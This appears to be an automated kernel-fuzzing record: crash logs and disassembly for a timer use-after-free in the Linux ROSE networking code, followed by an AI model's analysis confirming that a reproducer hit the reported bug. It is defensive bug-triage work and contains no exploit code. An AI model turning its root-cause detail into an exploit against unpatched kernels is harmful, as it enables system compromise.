   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

IsProbe: false
Reproduced: true
Console Output: Warning: Permanently added '[localhost]:59615' (ED25519) to the list of known hosts.
[  116.462843][ T6051] mkiss: ax0: crc mode is auto.
[  116.468103][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  116.468118][   T33] audit: type=1400 audit(1779796876.743:106): avc:  denied  { create } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.477377][ T6051] mkiss: ax0: Trying crc-smack
[  116.497325][ T1097] mkiss: ax0: Switching to crc-smack
[  116.528564][   T33] audit: type=1400 audit(1779796876.743:107): avc:  denied  { ioctl } for  pid=6051 comm="syz-executor321" path="socket:[8135]" dev="sockfs" ino=8135 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.547622][   T33] audit: type=1400 audit(1779796876.753:108): avc:  denied  { bind } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.563885][   T33] audit: type=1400 audit(1779796876.753:109): avc:  denied  { connect } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.619746][    C0] ------------[ cut here ]------------
[  116.623165][    C0] ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350
[  116.631863][    C0] WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550, CPU#0: swapper/0/0
[  116.637394][    C0] Modules linked in:
[  116.639584][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.643387][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.647754][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.650684][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.659535][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.662834][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.665881][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.668967][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.672129][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.676430][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.680812][    C0] FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
[  116.685611][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  116.689033][    C0] CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
[  116.693750][    C0] Call Trace:
[  116.695656][    C0]  <IRQ>
[  116.697247][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.700455][    C0]  kfree+0x13a/0x630
[  116.702527][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.704694][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.706499][    C0]  call_timer_fn+0x192/0x640
[  116.708722][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.711575][    C0]  ? call_timer_fn+0xd4/0x640
[  116.713783][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.716573][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.719224][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.721218][    C0]  __run_timer_base+0x652/0x8b0
[  116.723149][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.725135][    C0]  ? clockevents_program_event+0x247/0x350
[  116.727542][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.729854][    C0]  run_timer_softirq+0xb7/0x170
[  116.731644][    C0]  handle_softirqs+0x22a/0x870
[  116.734013][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.735727][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.737794][    C0]  irq_exit_rcu+0x9/0x30
[  116.739303][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.741801][    C0]  </IRQ>
[  116.743054][    C0]  <TASK>
[  116.744125][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.746620][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.749348][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  116.758207][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  116.761710][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  116.766031][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  116.770451][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  116.773976][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  116.777027][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  116.781342][    C0]  ? do_idle+0x36a/0x5f0
[  116.783867][    C0]  default_idle+0x9/0x20
[  116.786239][    C0]  default_idle_call+0x72/0xb0
[  116.788857][    C0]  do_idle+0x36a/0x5f0
[  116.791260][    C0]  ? __pfx_do_idle+0x10/0x10
[  116.793412][    C0]  cpu_startup_entry+0x43/0x60
[  116.795776][    C0]  rest_init+0x2de/0x300
[  116.798234][    C0]  start_kernel+0x385/0x3d0
[  116.800992][    C0]  x86_64_start_reservations+0x24/0x30
[  116.804151][    C0]  x86_64_start_kernel+0x143/0x1c0
[  116.807090][    C0]  common_startup_64+0x13e/0x147
[  116.810064][    C0]  </TASK>
[  116.811856][    C0] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  116.816329][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.821097][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.826032][    C0] Call Trace:
[  116.827965][    C0]  <IRQ>
[  116.829611][    C0]  vpanic+0x56c/0xa60
[  116.831921][    C0]  ? __pfx__printk+0x10/0x10
[  116.834531][    C0]  ? __pfx_vpanic+0x10/0x10
[  116.837279][    C0]  ? is_bpf_text_address+0x292/0x2b0
[  116.840287][    C0]  ? is_bpf_text_address+0x26/0x2b0
[  116.843354][    C0]  panic+0xc5/0xd0
[  116.844817][    C0]  ? __pfx_panic+0x10/0x10
[  116.847375][    C0]  ? common_startup_64+0x13e/0x147
[  116.850526][    C0]  __warn+0x315/0x4f0
[  116.852959][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.856389][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.859431][    C0]  __report_bug+0x29a/0x540
[  116.861854][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.864642][    C0]  ? __pfx___report_bug+0x10/0x10
[  116.867424][    C0]  ? add_lock_to_list+0xc7/0x100
[  116.870222][    C0]  report_bug_entry+0x19a/0x290
[  116.872887][    C0]  ? debug_check_no_obj_freed+0x44a/0x550
[  116.874987][    C0]  ? debug_check_no_obj_freed+0x44f/0x550
[  116.878332][    C0]  handle_bug+0xce/0x200
[  116.880841][    C0]  exc_invalid_op+0x1a/0x50
[  116.883619][    C0]  asm_exc_invalid_op+0x1a/0x20
[  116.886678][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.890365][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.900530][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.905253][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.909454][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.913370][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.916791][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.921195][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.925711][    C0]  ? __pfx_timer_debug_hint+0x10/0x10
[  116.928798][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.931211][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.934524][    C0]  kfree+0x13a/0x630
[  116.936813][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.939757][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.942600][    C0]  call_timer_fn+0x192/0x640
[  116.944270][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.947246][    C0]  ? call_timer_fn+0xd4/0x640
[  116.949586][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.952515][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.954266][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.956475][    C0]  __run_timer_base+0x652/0x8b0
[  116.959355][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.962064][    C0]  ? clockevents_program_event+0x247/0x350
[  116.965403][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.968419][    C0]  run_timer_softirq+0xb7/0x170
[  116.970139][    C0]  handle_softirqs+0x22a/0x870
[  116.973055][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.975990][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.978341][    C0]  irq_exit_rcu+0x9/0x30
[  116.979855][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.982948][    C0]  </IRQ>
[  116.984641][    C0]  <TASK>
[  116.986342][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.989694][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.994672][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  117.004667][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  117.008110][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  117.012603][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  117.015446][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  117.018188][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  117.022952][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  117.027693][    C0]  ? do_idle+0x36a/0x5f0
[  117.030410][    C0]  default_idle+0x9/0x20
[  117.033538][    C0]  default_idle_call+0x72/0xb0
[  117.035326][    C0]  do_idle+0x36a/0x5f0
[  117.036814][    C0]  ? __pfx_do_idle+0x10/0x10
[  117.039394][    C0]  cpu_startup_entry+0x43/0x60
[  117.042103][    C0]  rest_init+0x2de/0x300
[  117.044724][    C0]  start_kernel+0x385/0x3d0
[  117.046506][    C0]  x86_64_start_reservations+0x24/0x30
[  117.049683][    C0]  x86_64_start_kernel+0x143/0x1c0
[  117.052609][    C0]  common_startup_64+0x13e/0x147
[  117.055261][    C0]  </TASK>
[  117.061086][    C0] Kernel Offset: disabled
[  117.063843][    C0] Rebooting in 86400 seconds..

Strace Output: 
Crash Report: ------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah


Other crashes triggered:

------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88810b1dd090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#1: swapper/1/0
Modules linked in:
CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000a089a8 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a506798 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88810b1dd090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88810b1dd200
R13: ffffffff90255cb0 R14: ffff88810b1dd000 R15: ffff88810b1dd090
FS:  0000000000000000(0000) GS:ffff8882e8bef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005654964c2cc0 CR3: 0000000101f1e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 tmigr_handle_remote_cpu kernel/time/timer_migration.c:982 [inline]
 tmigr_handle_remote_up kernel/time/timer_migration.c:1073 [inline]
 __walk_groups_from kernel/time/timer_migration.c:565 [inline]
 __walk_groups kernel/time/timer_migration.c:582 [inline]
 tmigr_handle_remote+0xa48/0x1440 kernel/time/timer_migration.c:1132
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffc90000197e20 EFLAGS: 00000206
RAX: 00000000000627ff RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffc90000197f10 R08: ffff88827be3399b R09: 1ffff1104f7c6733
R10: dffffc0000000000 R11: ffffed104f7c6734 R12: 0000000000000001
R13: 1ffff1103009d000 R14: 0000000000000001 R15: 1ffff1103009d000
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 start_secondary+0x101/0x110 arch/x86/kernel/smpboot.c:312
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah

gemini-3.1-pro-preview

							input: 23462
							output: 347
							thoughts: 1058
						

**Analyzing the Crash Report**

Alright, let's break this down. First, I need to confirm whether this crash report aligns with the expected bug: `KASAN: slab-use-after-free Write in rose_send_frame`. The triggered crash is an `ODEBUG` warning about freeing an active timer within `rose_t0timer_expiry`. Initially, this seemed different, but the stack trace for the original bug shows the `rose_t0timer_expiry` function being called.

Let's compare the stack traces. The KASAN UAF reveals that `rose_send_frame` is where the memory error occurs, which is called from `rose_t0timer_expiry`. It appears that `rose_timer_expiry` frees the `rose_neigh` object (through `rose_neigh_put`), which, crucially, contains the active timer `t0timer`, with `rose_t0timer_expiry` as its callback.

Looking at the ODEBUG stack trace, it’s clear that `rose_timer_expiry` is indeed freeing the neighbor object while the timer is still active! The `rose_timer_expiry` function has a critical flaw, it's freeing the neighbor object (`rose_neigh`) before deactivating the timer associated with it. When the `t0timer` fires, it calls `rose_t0timer_expiry`, attempting to access the already freed `rose_neigh` object. This is the root cause of the UAF. The ODEBUG warning is simply the system catching this earlier due to `CONFIG_DEBUG_OBJECTS_TIMERS` being enabled. This is the difference between seeing a crash right away or seeing a more cryptic ODEBUG warning.

Essentially, the triggered crash is an earlier manifestation of the exact same bug. The original bug report shows a KASAN UAF in `rose_send_frame`, called by `rose_t0timer_expiry`. The ODEBUG warning occurs because `rose_timer_expiry` frees the neighbor object (`rose_neigh`) which contains the timer `t0timer` (with callback `rose_t0timer_expiry`) while that timer is still active.

So, if debug objects are enabled, we get the ODEBUG warning. If they aren’t, or if we ignore the warning, the timer will later trigger `rose_t0timer_expiry` on the freed memory, leading to the KASAN UAF.

Thus, the ODEBUG warning and the KASAN UAF are different manifestations of the same underlying flaw. I'm going to set `TitleMatches` to true and provide this explanation.

map[Feedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. TitleMatches:true]

map[Feedback:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful. TitleMatches:true]

map[ContinueSignal: EquivalenceAnalysis:The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

